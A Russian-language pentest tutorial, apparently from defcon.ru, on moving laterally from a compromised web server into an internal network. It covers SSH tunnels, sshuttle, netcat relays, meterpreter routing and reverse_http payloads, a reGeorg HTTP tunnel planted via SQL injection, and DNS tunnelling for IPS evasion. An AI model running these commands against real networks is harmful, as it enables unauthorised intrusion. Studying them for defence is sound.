Предположим, что мы получили доступ к корпоративному веб-серверу, который имеет два сетевых интерфейса: один в Интернет, а второй в локальную корпоративную сеть. Что дальше? Веб-сервер разрешает входящие подключения только на TCP порт 80, да и весь трафик находится под пристальным присмотром системы IPS, а нам просто необходимо продвинуться вглубь инфраструктуры. В данной статье я расскажу как это можно сделать.
От простого к сложному
Для простоты, будем предполагать, что внешняя сеть это 192.168.1.0/24 а внутренняя корпоративная 192.168.2.0/24.
Сперва рассмотрим простейший пример, когда веб-сервер позволяет подключиться к нему по протоколу SSH и мы завладели учетными данными.
Ни для кого не секрет, что в таком случае мы может организовать SOCKS прокси на нашей машине, который будет отправлять весь трафик по зашифрованному каналу, сервер будет расшифровывать его и отправлять дальше в локальную сеть.
Напомню, что такой туннель можно создать выполнив подобную команду:
ssh -D localhost:8888 user@192.168.1.5
Где 192.168.1.5 — IP адрес скомпрометированного веб-сервера. Его мы будем использовать и в следующих примерах.
После этого, используя proxychains можно произвести, например, сканирование хоста корпоративной сети.
/etc/proxychains.conf
[ProxyList]
socks4 127.0.0.1 8888
proxychains nmap -n -v -sT -Pn -F 192.168.2.4
Если мы не можем работать через proxychains, то можно сделать проброс фиксированного порта (например RDP) через SSH туннель.
ssh -L localhost:8888:192.168.2.4:3389 user@192.168.1.5
Далее подключиться по RDP можно будет выполнив команду
rdesktop localhost:8888
Что если мы не хотим для каждого удаленного хоста пробрасывать порт?
В таком случае можем использовать утилиту sshuttle
Установить утилиту можно из репозитория или с
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
-аВ простейшем виде запуск выглядит так:
sshuttle -r user@192.168.1.5 192.168.2.0/24
После запуска мы можем подключаться к удаленным хостам, как будто мы в их локальной сети, т.е. просто
rdesktop 192.168.2.4:3389
Как это работает, можно почитать на github.
Еще один вариант построения туннеля — использование утилиты netcat, если ситуация позволяет.
Если нам нужно к примеру подключиться по SSH к хосту в другой подсети, мы можем выполнить следующие команды на скомпрометированном веб-сервере (192.168.1.5/24):
rm /tmp/backpipe;mkfifo /tmp/backpipe
nc -lvp 8888 0</tmp/backpipe | nc 192.168.2.4 22 1>/tmp/backpipe
После этого можно получить доступ по SSH к удаленному серверу с машины атакующего следующим образом:
ssh remoteuser@192.168.1.5:8888
Подключение произойдет к хосту с IP-адресом 192.168.2.4, который напрямую с машины атакующего недоступен.
Усложняем задачу
Предположим, что доступа по SSH у нас к корпоративному веб-серверу нет, но мы нашли уязвимость, и выполнили шелл-код на стороне веб-сервера.
В качестве шелл-кода мы выполнили meterpreter фреймволка метасплойт и теперь имеем сессию.
Теперь, каким-то образом, мы должны проэксплуатировать другие машины внутренней корпоративной сети 192.168.2.0/24.
В состав фреймворка метасплойт входят инструменты, позволяющие это сделать.
Номер сессии метерпретера — 1
Чтобы выполнять другие модули фреймворка метасплойт на хостах корпоративной сети, нужно из сессии метерпретера выполнить следующие команды:
background — свернуть текущую сессию метерпретера.
route add 192.168.2.0 255.255.255.0 1 — добавить маршрут.
Используйте route print чтобы посмотреть активные маршруты:
msf exploit(handler) > route print
Active Routing Table
====================
Subnet Netmask Gateway
—— ——- ——-
192.168.2.0 255.255.255.0 Session 1
Теперь, используя модули метасплойт, вы можете указывать в параметрах RHOST/RHOSTS хосты подсети 192.168.2.0/24.
Но этот маршрут доступен только в рамках контекста фреймворка метасплойт. Что если нам нужно получить доступ по RDP или другому протоколу у внутреннему хосту для стороннего приложения, скажем rdesktop?
для этого снова открываем сессию метерпретера и выполняем команду:
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > portfwd add -l 5555 -p 3389 -r 192.168.2.4
[*] Local TCP relay created: :5555 192.168.2.4:3389
Теперь можно подключиться как обычно:
rdesktop 127.0.0.1:5555
Чтобы отменить портфорвардинг используйте:
portfwd delete -l 5555 -p 3389 -r 192.168.2.4
Прячемся лучше
Если компания использует систему IPS и трафик не только разрешается или запрещается на основании номера порта , но и анализируется, нам потребуется применить более изощренные методы доставки нашей полезной нагрузки на удаленный сервер.
И здесь нам потребуются инструменты для инкапсуляции нашего трафика в «разрешенные» пакеты.
Для начала стоит, пожалуй, сказать, что метерпретер может работать по протоколам HTTP и HTTPS.
Для этого можно использовать следующие пейлоады для ОС семейства Windows:
windows/meterpreter/reverse_http
windows/meterpreter/reverse_https
В таком случае весь трафик виден системе IPS как HTTP.
Но метерпретер — не единственный инструмент, позволяющий инкапсулировать трафик в HTTP и перенаправлять во внутреннюю сеть. К тому же, не всегда нам удается им воспользоваться.
Идея состоит в том, чтобы на скомпрометированном хосте разместить инструмент, который будет отвечать за инкапсуляцию трафика, например php-скрипт, который будет выполнять веб-сервер без каких-либо проблем.
Такое решение обычно представляет собой клиент-серверное приложение. Серверная часть находится на шлюзе и инкапсулирует трафик в GET/POST запросы, если мы инкапсулируем в HTTP. При этом данные могут сжиматься, шифроваться, кодироваться в base64 и т.п.
Одним из таких инструментов является
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
.Он позволяет создавать SOCKS прокси и созданный туннель можно использовать сразу для нескольких подключений.
Есть серверные части под различные веб-платформы, а клиентская часть написана на Python.
Т.е. основаня задача — это разместить на корпоративном веб-сервере подходящую серверную часть reGeorg-а, через SQL-injection или как-то еще, которая будет доступна, скажем, по такой ссылке
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
Когда сервер доступен по ссылке, мы можем запустить клиентскую часть на машине атакующего:
python reGeorgSocksProxy.py -u
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
Если вы получаете сообщение [INFO ] Georg says, ‘All seems fine’, значит соединение установлено.
Дальше все просто, настраиваем proxychains
/etc/proxychains.conf
[ProxyList]
socks4 127.0.0.1 8888
И используем туннель
proxychains rdesktop 192.168.2.4
Можете запустить wireshark и убедиться, что весь передаваемый трафик является HTTP-трафиком, хотя мы работаем с удаленным сервером по протоколу RDP.
Инкапсулировать трафик можно не только в HTTP, но и, к примеру, в DNS UDP пакеты!
Для этого служит утилита dnscat2.
Подробнее про нее вы можете прочитать в другой
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
на DefconRU.В качестве заключения
Как можно убедиться после прочтения данной статьи, уязвимость одного узла может привести к компрометации всей сети.
Существует множество способов маскировки трафика и обхода систем IDP/IPS. Поэтому следует уделять повышенное внимание к узлам, имеющим выход в сеть Интернет.
Источник: defcon.ru